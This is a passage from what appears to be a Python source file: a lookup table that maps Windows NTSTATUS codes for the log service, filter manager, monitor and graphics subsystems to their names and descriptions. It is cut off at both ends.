have been opened in a transactional resource manager that was subsequently forced to restart. Please close the handle and open a new one.\"),\n        0xC0190061: (\"STATUS_TRANSACTION_NOT_ENLISTED\",\"The specified operation could not be performed because the resource manager is not enlisted in the transaction.\"),\n        0xC01A0001: (\"STATUS_LOG_SECTOR_INVALID\",\"The log service found an invalid log sector.\"),\n        0xC01A0002: (\"STATUS_LOG_SECTOR_PARITY_INVALID\",\"The log service encountered a log sector with invalid block parity.\"),\n        0xC01A0003: (\"STATUS_LOG_SECTOR_REMAPPED\",\"The log service encountered a remapped log sector.\"),\n        0xC01A0004: (\"STATUS_LOG_BLOCK_INCOMPLETE\",\"The log service encountered a partial or incomplete log block.\"),\n        0xC01A0005: (\"STATUS_LOG_INVALID_RANGE\",\"The log service encountered an attempt to access data outside the active log range.\"),\n        0xC01A0006: (\"STATUS_LOG_BLOCKS_EXHAUSTED\",\"The log service user-log marshaling buffers are exhausted.\"),\n        0xC01A0007: (\"STATUS_LOG_READ_CONTEXT_INVALID\",\"The log service encountered an attempt to read from a marshaling area with an invalid read context.\"),\n        0xC01A0008: (\"STATUS_LOG_RESTART_INVALID\",\"The log service encountered an invalid log restart area.\"),\n        0xC01A0009: (\"STATUS_LOG_BLOCK_VERSION\",\"The log service encountered an invalid log block version.\"),\n        0xC01A000A: (\"STATUS_LOG_BLOCK_INVALID\",\"The log service encountered an invalid log block.\"),\n        0xC01A000B: (\"STATUS_LOG_READ_MODE_INVALID\",\"The log service encountered an attempt to read the log with an invalid read mode.\"),\n        0xC01A000D: (\"STATUS_LOG_METADATA_CORRUPT\",\"The log service encountered a corrupted metadata file.\"),\n        0xC01A000E: (\"STATUS_LOG_METADATA_INVALID\",\"The log service encountered a metadata file that could not be created by the log file system.\"),\n        0xC01A000F: (\"STATUS_LOG_METADATA_INCONSISTENT\",\"The log service encountered a metadata file with inconsistent data.\"),\n        0xC01A0010: (\"STATUS_LOG_RESERVATION_INVALID\",\"The log service encountered an attempt to erroneously allocate or dispose reservation space.\"),\n        0xC01A0011: (\"STATUS_LOG_CANT_DELETE\",\"The log service cannot delete the log file or the file system container.\"),\n        0xC01A0012: (\"STATUS_LOG_CONTAINER_LIMIT_EXCEEDED\",\"The log service has reached the maximum allowable containers allocated to a log file.\"),\n        0xC01A0013: (\"STATUS_LOG_START_OF_LOG\",\"The log service has attempted to read or write backward past the start of the log.\"),\n        0xC01A0014: (\"STATUS_LOG_POLICY_ALREADY_INSTALLED\",\"The log policy could not be installed because a policy of the same type is already present.\"),\n        0xC01A0015: (\"STATUS_LOG_POLICY_NOT_INSTALLED\",\"The log policy in question was not installed at the time of the request.\"),\n        0xC01A0016: (\"STATUS_LOG_POLICY_INVALID\",\"The installed set of policies on the log is invalid.\"),\n        0xC01A0017: (\"STATUS_LOG_POLICY_CONFLICT\",\"A policy on the log in question prevented the operation from completing.\"),\n        0xC01A0018: (\"STATUS_LOG_PINNED_ARCHIVE_TAIL\",\"The log space cannot be reclaimed because the log is pinned by the archive tail.\"),\n        0xC01A0019: (\"STATUS_LOG_RECORD_NONEXISTENT\",\"The log record is not a record in the log file.\"),\n        0xC01A001A: (\"STATUS_LOG_RECORDS_RESERVED_INVALID\",\"The number of reserved log records or the adjustment of the number of reserved log records is invalid.\"),\n        0xC01A001B: (\"STATUS_LOG_SPACE_RESERVED_INVALID\",\"The reserved log space or the adjustment of the log space is invalid.\"),\n        0xC01A001C: (\"STATUS_LOG_TAIL_INVALID\",\"A new or existing archive tail or the base of the active log is invalid.\"),\n        0xC01A001D: (\"STATUS_LOG_FULL\",\"The log space is exhausted.\"),\n        0xC01A001E: (\"STATUS_LOG_MULTIPLEXED\",\"The log is multiplexed; no direct writes to the physical log are allowed.\"),\n        0xC01A001F: (\"STATUS_LOG_DEDICATED\",\"The operation failed because the log is dedicated.\"),\n        0xC01A0020: (\"STATUS_LOG_ARCHIVE_NOT_IN_PROGRESS\",\"The operation requires an archive context.\"),\n        0xC01A0021: (\"STATUS_LOG_ARCHIVE_IN_PROGRESS\",\"Log archival is in progress.\"),\n        0xC01A0022: (\"STATUS_LOG_EPHEMERAL\",\"The operation requires a nonephemeral log, but the log is ephemeral.\"),\n        0xC01A0023: (\"STATUS_LOG_NOT_ENOUGH_CONTAINERS\",\"The log must have at least two containers before it can be read from or written to.\"),\n        0xC01A0024: (\"STATUS_LOG_CLIENT_ALREADY_REGISTERED\",\"A log client has already registered on the stream.\"),\n        0xC01A0025: (\"STATUS_LOG_CLIENT_NOT_REGISTERED\",\"A log client has not been registered on the stream.\"),\n        0xC01A0026: (\"STATUS_LOG_FULL_HANDLER_IN_PROGRESS\",\"A request has already been made to handle the log full condition.\"),\n        0xC01A0027: (\"STATUS_LOG_CONTAINER_READ_FAILED\",\"The log service encountered an error when attempting to read from a log container.\"),\n        0xC01A0028: (\"STATUS_LOG_CONTAINER_WRITE_FAILED\",\"The log service encountered an error when attempting to write to a log container.\"),\n        0xC01A0029: (\"STATUS_LOG_CONTAINER_OPEN_FAILED\",\"The log service encountered an error when attempting to open a log container.\"),\n        0xC01A002A: (\"STATUS_LOG_CONTAINER_STATE_INVALID\",\"The log service encountered an invalid container state when attempting a requested action.\"),\n        0xC01A002B: (\"STATUS_LOG_STATE_INVALID\",\"The log service is not in the correct state to perform a requested action.\"),\n        0xC01A002C: (\"STATUS_LOG_PINNED\",\"The log space cannot be reclaimed because the log is pinned.\"),\n        0xC01A002D: (\"STATUS_LOG_METADATA_FLUSH_FAILED\",\"The log metadata flush failed.\"),\n        0xC01A002E: (\"STATUS_LOG_INCONSISTENT_SECURITY\",\"Security on the log and its containers is inconsistent.\"),\n        0xC01A002F: (\"STATUS_LOG_APPENDED_FLUSH_FAILED\",\"Records were appended to the log or reservation changes were made, but the log could not be flushed.\"),\n        0xC01A0030: (\"STATUS_LOG_PINNED_RESERVATION\",\"The log is pinned due to reservation consuming most of the log space. Free some reserved records to make space available.\"),\n        0xC01B00EA: (\"STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD\",\"{Display Driver Stopped Responding} The %hs display driver has stopped working normally. Save your work and reboot the system to restore full display functionality. The next time you reboot the computer, a dialog box will allow you to upload data about this failure to Microsoft.\"),\n        0xC01C0001: (\"STATUS_FLT_NO_HANDLER_DEFINED\",\"A handler was not defined by the filter for this operation.\"),\n        0xC01C0002: (\"STATUS_FLT_CONTEXT_ALREADY_DEFINED\",\"A context is already defined for this object.\"),\n        0xC01C0003: (\"STATUS_FLT_INVALID_ASYNCHRONOUS_REQUEST\",\"Asynchronous requests are not valid for this operation.\"),\n        0xC01C0004: (\"STATUS_FLT_DISALLOW_FAST_IO\",\"This is an internal error code used by the filter manager to determine if a fast I/O operation should be forced down the input/output request packet (IRP) path. Minifilters should never return this value.\"),\n        0xC01C0005: (\"STATUS_FLT_INVALID_NAME_REQUEST\",\"An invalid name request was made. The name requested cannot be retrieved at this time.\"),\n        0xC01C0006: (\"STATUS_FLT_NOT_SAFE_TO_POST_OPERATION\",\"Posting this operation to a worker thread for further processing is not safe at this time because it could lead to a system deadlock.\"),\n        0xC01C0007: (\"STATUS_FLT_NOT_INITIALIZED\",\"The Filter Manager was not initialized when a filter tried to register. Make sure that the Filter Manager is loaded as a driver.\"),\n        0xC01C0008: (\"STATUS_FLT_FILTER_NOT_READY\",\"The filter is not ready for attachment to volumes because it has not finished initializing (FltStartFiltering has not been called).\"),\n        0xC01C0009: (\"STATUS_FLT_POST_OPERATION_CLEANUP\",\"The filter must clean up any operation-specific context at this time because it is being removed from the system before the operation is completed by the lower drivers.\"),\n        0xC01C000A: (\"STATUS_FLT_INTERNAL_ERROR\",\"The Filter Manager had an internal error from which it cannot recover; therefore, the operation has failed. This is usually the result of a filter returning an invalid value from a pre-operation callback.\"),\n        0xC01C000B: (\"STATUS_FLT_DELETING_OBJECT\",\"The object specified for this action is in the process of being deleted; therefore, the action requested cannot be completed at this time.\"),\n        0xC01C000C: (\"STATUS_FLT_MUST_BE_NONPAGED_POOL\",\"A nonpaged pool must be used for this type of context.\"),\n        0xC01C000D: (\"STATUS_FLT_DUPLICATE_ENTRY\",\"A duplicate handler definition has been provided for an operation.\"),\n        0xC01C000E: (\"STATUS_FLT_CBDQ_DISABLED\",\"The callback data queue has been disabled.\"),\n        0xC01C000F: (\"STATUS_FLT_DO_NOT_ATTACH\",\"Do not attach the filter to the volume at this time.\"),\n        0xC01C0010: (\"STATUS_FLT_DO_NOT_DETACH\",\"Do not detach the filter from the volume at this time.\"),\n        0xC01C0011: (\"STATUS_FLT_INSTANCE_ALTITUDE_COLLISION\",\"An instance already exists at this altitude on the volume specified.\"),\n        0xC01C0012: (\"STATUS_FLT_INSTANCE_NAME_COLLISION\",\"An instance already exists with this name on the volume specified.\"),\n        0xC01C0013: (\"STATUS_FLT_FILTER_NOT_FOUND\",\"The system could not find the filter specified.\"),\n        0xC01C0014: (\"STATUS_FLT_VOLUME_NOT_FOUND\",\"The system could not find the volume specified.\"),\n        0xC01C0015: (\"STATUS_FLT_INSTANCE_NOT_FOUND\",\"The system could not find the instance specified.\"),\n        0xC01C0016: (\"STATUS_FLT_CONTEXT_ALLOCATION_NOT_FOUND\",\"No registered context allocation definition was found for the given request.\"),\n        0xC01C0017: (\"STATUS_FLT_INVALID_CONTEXT_REGISTRATION\",\"An invalid parameter was specified during context registration.\"),\n        0xC01C0018: (\"STATUS_FLT_NAME_CACHE_MISS\",\"The name requested was not found in the Filter Manager name cache and could not be retrieved from the file system.\"),\n        0xC01C0019: (\"STATUS_FLT_NO_DEVICE_OBJECT\",\"The requested device object does not exist for the given volume.\"),\n        0xC01C001A: (\"STATUS_FLT_VOLUME_ALREADY_MOUNTED\",\"The specified volume is already mounted.\"),\n        0xC01C001B: (\"STATUS_FLT_ALREADY_ENLISTED\",\"The specified transaction context is already enlisted in a transaction.\"),\n        0xC01C001C: (\"STATUS_FLT_CONTEXT_ALREADY_LINKED\",\"The specified context is already attached to another object.\"),\n        0xC01C0020: (\"STATUS_FLT_NO_WAITER_FOR_REPLY\",\"No waiter is present for the filter's reply to this message.\"),\n        0xC01D0001: (\"STATUS_MONITOR_NO_DESCRIPTOR\",\"A monitor descriptor could not be obtained.\"),\n        0xC01D0002: (\"STATUS_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT\",\"This release does not support the format of the obtained monitor descriptor.\"),\n        0xC01D0003: (\"STATUS_MONITOR_INVALID_DESCRIPTOR_CHECKSUM\",\"The checksum of the obtained monitor descriptor is invalid.\"),\n        0xC01D0004: (\"STATUS_MONITOR_INVALID_STANDARD_TIMING_BLOCK\",\"The monitor descriptor contains an invalid standard timing block.\"),\n        0xC01D0005: (\"STATUS_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED\",\"WMI data-block registration failed for one of the MSMonitorClass WMI subclasses.\"),\n        0xC01D0006: (\"STATUS_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK\",\"The provided monitor descriptor block is either corrupted or does not contain the monitor's detailed serial number.\"),\n        0xC01D0007: (\"STATUS_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK\",\"The provided monitor descriptor block is either corrupted or does not contain the monitor's user-friendly name.\"),\n        0xC01D0008: (\"STATUS_MONITOR_NO_MORE_DESCRIPTOR_DATA\",\"There is no monitor descriptor data at the specified (offset or size) region.\"),\n        0xC01D0009: (\"STATUS_MONITOR_INVALID_DETAILED_TIMING_BLOCK\",\"The monitor descriptor contains an invalid detailed timing block.\"),\n        0xC01D000A: (\"STATUS_MONITOR_INVALID_MANUFACTURE_DATE\",\"Monitor descriptor contains invalid manufacture date.\"),\n        0xC01E0000: (\"STATUS_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER\",\"Exclusive mode ownership is needed to create an unmanaged primary allocation.\"),\n        0xC01E0001: (\"STATUS_GRAPHICS_INSUFFICIENT_DMA_BUFFER\",\"The driver needs more DMA buffer space to complete the requested operation.\"),\n        0xC01E0002: (\"STATUS_GRAPHICS_INVALID_DISPLAY_ADAPTER\",\"The specified display adapter handle is invalid.\"),\n        0xC01E0003: (\"STATUS_GRAPHICS_ADAPTER_WAS_RESET\",\"The specified display adapter and all of its state have been reset.\"),\n        0xC01E0004: (\"STATUS_GRAPHICS_INVALID_DRIVER_MODEL\",\"The driver stack does not match the expected driver model.\"),\n        0xC01E0005: (\"STATUS_GRAPHICS_PRESENT_MODE_CHANGED\",\"Present happened but ended up into the changed desktop mode.\"),\n        0xC01E0006: (\"STATUS_GRAPHICS_PRESENT_OCCLUDED\",\"Nothing to present due to desktop occlusion.\"),\n        0xC01E0007: (\"STATUS_GRAPHICS_PRESENT_DENIED\",\"Not able to present due to denial of desktop access.\"),\n        0xC01E0008: (\"STATUS_GRAPHICS_CANNOTCOLORCONVERT\",\"Not able to present with color conversion.\"),\n        0xC01E000B: (\"STATUS_GRAPHICS_PRESENT_REDIRECTION_DISABLED\",\"Present redirection is disabled (desktop windowing management subsystem is off).\"),\n        0xC01E000C: (\"STATUS_GRAPHICS_PRESENT_UNOCCLUDED\",\"Previous exclusive VidPn source owner has released its ownership\"),\n        0xC01E0100: (\"STATUS_GRAPHICS_NO_VIDEO_MEMORY\",\"Not enough video memory is available to complete the operation.\"),\n        0xC01E0101: (\"STATUS_GRAPHICS_CANT_LOCK_MEMORY\",\"Could not probe and lock the underlying memory of an allocation.\"),\n        0xC01E0102: (\"STATUS_GRAPHICS_ALLOCATION_BUSY\",\"The allocation is currently busy.\"),\n        0xC01E0103: (\"STATUS_GRAPHICS_TOO_MANY_REFERENCES\",\"An object being referenced has already reached the maximum reference count and cannot be referenced further.\"),\n        0xC01E0104: (\"STATUS_GRAPHICS_TRY_AGAIN_LATER\",\"A problem could not be solved due to an existing condition. Try again later.\"),\n        0xC01E0105: (\"STATUS_GRAPHICS_TRY_AGAIN_NOW\",\"A problem could not be solved due to an existing condition. Try again now.\"),\n        0xC01E0106: (\"STATUS_GRAPHICS_ALLOCATION_INVALID\",\"The allocation is invalid.\"),\n        0xC01E0107: (\"STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE\",\"No more unswizzling apertures are currently available.\"),\n        0xC01E0108: (\"STATUS_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED\",\"The current allocation cannot be unswizzled by an aperture.\"),\n        0xC01E0109: (\"STATUS_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION\",\"The request failed because a pinned allocation cannot be evicted.\"),\n        0xC01E0110: (\"STATUS_GRAPHICS_INVALID_ALLOCATION_USAGE\",\"The allocation cannot be used from its current segment location for the specified operation.\"),\n        0xC01E0111: (\"STATUS_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION\",\"A locked allocation cannot be used in the current command buffer.\"),\n        0xC01E0112: (\"STATUS_GRAPHICS_ALLOCATION_CLOSED\",\"The allocation being referenced has been closed permanently.\"),\n        0xC01E0113: (\"STATUS_GRAPHICS_INVALID_ALLOCATION_INSTANCE\",\"An invalid allocation instance is being referenced.\"),\n        0xC01E0114: (\"STATUS_GRAPHICS_INVALID_ALLOCATION_HANDLE\",\"An invalid allocation handle is being referenced.\"),\n        0xC01E0115: (\"STATUS_GRAPHICS_WRONG_ALLOCATION_DEVICE\",\"The allocation being referenced does not belong to the current device.\"),\n        0xC01E0116: (\"STATUS_GRAPHICS_ALLOCATION_CONTENT_LOST\",\"The specified allocation lost its content.\"),\n        0xC01E0200: (\"STATUS_GRAPHICS_GPU_EXCEPTION_ON_DEVICE\",\"A GPU exception was detected on the given device. The device cannot be scheduled.\"),\n        0xC01E0300: (\"STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY\",\"The specified VidPN topology is invalid.\"),\n        0xC01E0301: (\"STATUS_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED\",\"The specified VidPN topology is valid but is not supported by this model of the display adapter.\"),\n        0xC01E0302: (\"STATUS_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED\",\"The specified VidPN topology is valid but is not currently supported by the display adapter due to allocation of its resources.\"),\n        0xC01E0303: (\"STATUS_GRAPHICS_INVALID_VIDPN\",\"The specified VidPN handle is invalid.\"),\n        0xC01E0304: (\"STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE\",\"The specified video present source is invalid.\"),\n        0xC01E0305: (\"STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET\",\"The specified video present target is invalid.\"),\n        0xC01E0306: (\"STATUS_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED\",\"The specified VidPN modality is not supported (for example, at least two of the pinned modes are not co-functional).\"),\n        0xC01E0308: (\"STATUS_GRAPHICS_INVALID_VIDPN_SOURCEMODESET\",\"The specified VidPN source mode set is invalid.\"),\n        0xC01E0309: (\"STATUS_GRAPHICS_INVALID_VIDPN_TARGETMODESET\",\"The specified VidPN target mode set is invalid.\"),\n        0xC01E030A: (\"STATUS_GRAPHICS_INVALID_FREQUENCY\",\"The specified video signal frequency is invalid.\"),\n        0xC01E030B: (\"STATUS_GRAPHICS_INVALID_ACTIVE_REGION\",\"The specified video signal active region is invalid.\"),\n        0xC01E030C: (\"STATUS_GRAPHICS_INVALID_TOTAL_REGION\",\"The specified video signal total region is invalid.\"),\n        0xC01E0310: (\"STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE\",\"The specified video present source mode is invalid.\"),\n        0xC01E0311: (\"STATUS_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE\",\"The specified video present target mode is invalid.\"),\n        0xC01E0312: (\"STATUS_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET\",\"The pinned mode must remain in the set on the VidPN's co-functional modality enumeration.\"),\n        0xC01E0313: (\"STATUS_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY\",\"The specified video present path is already in the VidPN's topology.\"),\n        0xC01E0314: (\"STATUS_GRAPHICS_MODE_ALREADY_IN_MODESET\",\"The specified mode is already in the mode set.\"),\n        0xC01E0315: (\"STATUS_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET\",\"The specified video present source set is invalid.\"),\n        0xC01E0316: (\"STATUS_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET\",\"The specified video present target set is invalid.\"),\n        0xC01E0317: (\"STATUS_GRAPHICS_SOURCE_ALREADY_IN_SET\",\"The specified video present source is already in the video present source set.\"),\n        0xC01E0318: (\"STATUS_GRAPHICS_TARGET_ALREADY_IN_SET\",\"The specified video present target is already in the video present target set.\"),\n        0xC01E0319: (\"STATUS_GRAPHICS_INVALID_VIDPN_PRESENT_PATH\",\"The specified VidPN present path is invalid.\"),\n        0xC01E031A: (\"STATUS_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY\",\"The miniport has no recommendation for augmenting the specified VidPN's topology.\"),\n        0xC01E031B: (\"STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET\",\"The specified monitor frequency range set is invalid.\"),\n        0xC01E031C: (\"STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE\",\"The specified monitor frequency range is invalid.\"),\n        0xC01E031D: (\"STATUS_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET\",\"The specified frequency range is not in the specified monitor frequency range set.\"),\n        0xC01E031F: (\"STATUS_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET\",\"The specified frequency range is already in the specified monitor frequency range set.\"),\n        0xC01E0320: (\"STATUS_GRAPHICS_STALE_MODESET\",\"The specified mode set is stale. Reacquire the new mode set.\"),\n        0xC01E0321: (\"STATUS_GRAPHICS_INVALID_MONITOR_SOURCEMODESET\",\"The specified monitor source mode set is invalid.\"),\n        0xC01E0322: (\"STATUS_GRAPHICS_INVALID_MONITOR_SOURCE_MODE\",\"The specified monitor source mode is invalid.\"),\n        0xC01E0323: (\"STATUS_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN\",\"The miniport does not have a recommendation regarding the request to provide a functional VidPN given the current display adapter configuration.\"),\n        0xC01E0324: (\"STATUS_GRAPHICS_MODE_ID_MUST_BE_UNIQUE\",\"The ID of the specified mode is being used by another mode in the set.\"),\n        0xC01E0325: (\"STATUS_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION\",\"The system failed to determine a mode that is supported by both the display adapter and the monitor connected to it.\"),\n        0xC01E0326: (\"STATUS_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES\",\"The number of video present targets must be greater than or equal to the number of video present sources.\"),\n        0xC01E0327: (\"STATUS_GRAPHICS_PATH_NOT_IN_TOPOLOGY\",\"The specified present path is not in the VidPN's topology.\"),\n        0xC01E0328: (\"STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE\",\"The display adapter must have at least one video present source.\"),\n        0xC01E0329: (\"STATUS_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET\",\"The display adapter must have at least one video present target.\"),\n        0xC01E032A: (\"STATUS_GRAPHICS_INVALID_MONITORDESCRIPTORSET\",\"The specified monitor descriptor set is invalid.\"),\n        0xC01E032B: (\"STATUS_GRAPHICS_INVALID_MONITORDESCRIPTOR\",\"The specified monitor descriptor is invalid.\"),\n        0xC01E032C: (\"STATUS_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET\",\"The specified descriptor is not in the specified monitor descriptor set.\"),\n        0xC01E032D: (\"STATUS_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET\",\"The specified descriptor is already in the specified monitor descriptor set.\"),\n        0xC01E032E: (\"STATUS_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE\",\"The ID of the specified monitor descriptor is being used by another descriptor in the set.\"),\n        0xC01E032F: (\"STATUS_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE\",\"The specified video present target subset type is invalid.\"),\n        0xC01E0330: (\"STATUS_GRAPHICS_RESOURCES_NOT_RELATED\",\"Two or more of the specified resources are not related to each other, as defined by the interface semantics.\"),\n        0xC01E0331: (\"STATUS_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE\",\"The ID of the specified video present source is being used by another source in the set.\"),\n        0xC01E0332: (\"STATUS_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE\",\"The ID of the specified video present target is being used by another target in the set.\"),\n        0xC01E0333: (\"STATUS_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET\",\"The specified VidPN source cannot be used because there is no available VidPN target to connect it to.\"),\n        0xC01E0334: (\"STATUS_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER\",\"The newly arrived monitor could not be associated with a display adapter.\"),\n        0xC01E0335: (\"STATUS_GRAPHICS_NO_VIDPNMGR\",\"The particular display adapter does not have an associated VidPN manager.\"),\n        0xC01E0336: (\"STATUS_GRAPHICS_NO_ACTIVE_VIDPN\",\"The VidPN manager of the particular display adapter does not have an active VidPN.\"),\n        0xC01E0337: (\"STATUS_GRAPHICS_STALE_VIDPN_TOPOLOGY\",\"The specified VidPN topology is stale; obtain the new topology.\"),\n        0xC01E0338: (\"STATUS_GRAPHICS_MONITOR_NOT_CONNECTED\",\"No monitor is connected on the specified video present target.\"),\n        0xC01E0339: (\"STATUS_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY\",\"The specified source is not part of the specified VidPN's topology.\"),\n        0xC01E033A: (\"STATUS_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE\",\"The specified primary surface size is invalid.\"),\n        0xC01E033B: (\"STATUS_GRAPHICS_INVALID_VISIBLEREGION_SIZE\",\"The specified visible region size is invalid.\"),\n        0xC01E033C: (\"STATUS_GRAPHICS_INVALID_STRIDE\",\"The specified stride is invalid.\"),\n        0xC01E033D: (\"STATUS_GRAPHICS_INVALID_PIXELFORMAT\",\"The specified pixel format is invalid.\"),\n        0xC01E033E: (\"STATUS_GRAPHICS_INVALID_COLORBASIS\",\"The specified color basis is invalid.\"),\n        0xC01E033F: (\"STATUS_GRAPHICS_INVALID_PIXELVALUEACCESSMODE\",\"The specified pixel value access mode is invalid.\"),\n        0xC01E0340: (\"STATUS_GRAPHICS_TARGET_NOT_IN_TOPOLOGY\",\"The specified target is not part of the specified VidPN's topology.\"),\n        0xC01E0341: (\"STATUS_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT\",\"Failed to acquire the display mode management interface.\"),\n        0xC01E0342: (\"STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE\",\"The specified VidPN source is already owned by a DMM client and cannot be used until that client releases it.\"),\n        0xC01E0343: (\"STATUS_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN\",\"The specified VidPN is active and cannot be accessed.\"),\n        0xC01E0344: (\"STATUS_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL\",\"The specified VidPN's present path importance ordinal is invalid.\"),\n        0xC01E0345: (\"STATUS_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION\",\"The specified VidPN's present path content geometry transformation is invalid.\"),\n        0xC01E0346: (\"STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED\",\"The specified content geometry transformation is not supported on the respective VidPN present path.\"),\n        0xC01E0347: (\"STATUS_GRAPHICS_INVALID_GAMMA_RAMP\",\"The specified gamma ramp is invalid.\"),\n        0xC01E0348: (\"STATUS_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED\",\"The specified gamma ramp is not supported on the respective VidPN present path.\"),\n        0xC01E0349: (\"STATUS_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED\",\"Multisampling is not supported on the respective VidPN present path.\"),\n        0xC01E034A: (\"STATUS_GRAPHICS_MODE_NOT_IN_MODESET\",\"The specified mode is not in the specified mode set.\"),\n        0xC01E034D: (\"STATUS_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON\",\"The specified VidPN topology recommendation reason is invalid.\"),\n        0xC01E034E: (\"STATUS_GRAPHICS_INVALID_PATH_CONTENT_TYPE\",\"The specified VidPN present path content type is invalid.\"),\n        0xC01E034F: (\"STATUS_GRAPHICS_INVALID_COPYPROTECTION_TYPE\",\"The specified VidPN present path copy protection type is invalid.\"),\n        0xC01E0350: (\"STATUS_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS\",\"Only one unassigned mode set can exist at any one time for a particular VidPN source or target.\"),\n        0xC01E0352: (\"STATUS_GRAPHICS_INVALID_SCANLINE_ORDERING\",\"The specified scan line ordering type is invalid.\"),\n        0xC01E0353: (\"STATUS_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED\",\"The topology changes are not allowed for the specified VidPN.\"),\n        0xC01E0354: (\"STATUS_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS\",\"All available importance ordinals are being used in the specified topology.\"),\n        0xC01E0355: (\"STATUS_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT\",\"The specified primary surface has a different private-format attribute than the current primary surface.\"),\n        0xC01E0356: (\"STATUS_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM\",\"The specified mode-pruning algorithm is invalid.\"),\n        0xC01E0357: (\"STATUS_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN\",\"The specified monitor-capability origin is invalid.\"),\n        0xC01E0358: (\"STATUS_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT\",\"The specified monitor-frequency range constraint is invalid.\"),\n        0xC01E0359: (\"STATUS_GRAPHICS_MAX_NUM_PATHS_REACHED\",\"The maximum supported number of present paths has been reached.\"),\n        0xC01E035A: (\"STATUS_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION\",\"The miniport requested that augmentation be canceled for the specified source of the specified VidPN's topology.\"),\n        0xC01E035B: (\"STATUS_GRAPHICS_INVALID_CLIENT_TYPE\",\"The specified client type was not recognized.\"),\n        0xC01E035C: (\"STATUS_GRAPHICS_CLIENTVIDPN_NOT_SET\",\"The client VidPN is not set on this adapter (for example, no user mode-initiated mode changes have taken place on this adapter).\"),\n        0xC01E0400: (\"STATUS_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED\",\"The specified display adapter child device already has an external device connected to it.\"),\n        0xC01E0401: (\"STATUS_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED\",\"The display adapter child device does not support reporting a descriptor.\"),\n        0xC01E0430: (\"STATUS_GRAPHICS_NOT_A_LINKED_ADAPTER\",\"The display adapter is not linked to any other adapters.\"),\n        0xC01E0431: (\"STATUS_GRAPHICS_LEADLINK_NOT_ENUMERATED\",\"The lead adapter in a linked configuration was not enumerated yet.\"),\n        0xC01E0432: (\"STATUS_GRAPHICS_CHAINLINKS_NOT_ENUMERATED\",\"Some chain adapters in a linked configuration have not yet been enumerated.\"),\n        0xC01E0433: (\"STATUS_GRAPHICS_ADAPTER_CHAIN_NOT_READY\",\"The chain of linked adapters is not ready to start because of an unknown failure.\"),\n        0xC01E0434: (\"STATUS_GRAPHICS_CHAINLINKS_NOT_STARTED\",\"An attempt was made to start a lead link display adapter when the chain links had not yet started.\"),\n        0xC01E0435: (\"STATUS_GRAPHICS_CHAINLINKS_NOT_POWERED_ON\",\"An attempt was made to turn on a lead link display adapter when the chain links were turned off.\"),\n        0xC01E0436: (\"STATUS_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE\",\"The adapter link was found in an inconsistent state. Not all adapters are in an expected PNP/power state.\"),\n        0xC01E0438: (\"STATUS_GRAPHICS_NOT_POST_DEVICE_DRIVER\",\"The driver trying to start is not the same as the driver for the posted display adapter.\"),\n        0xC01E043B: 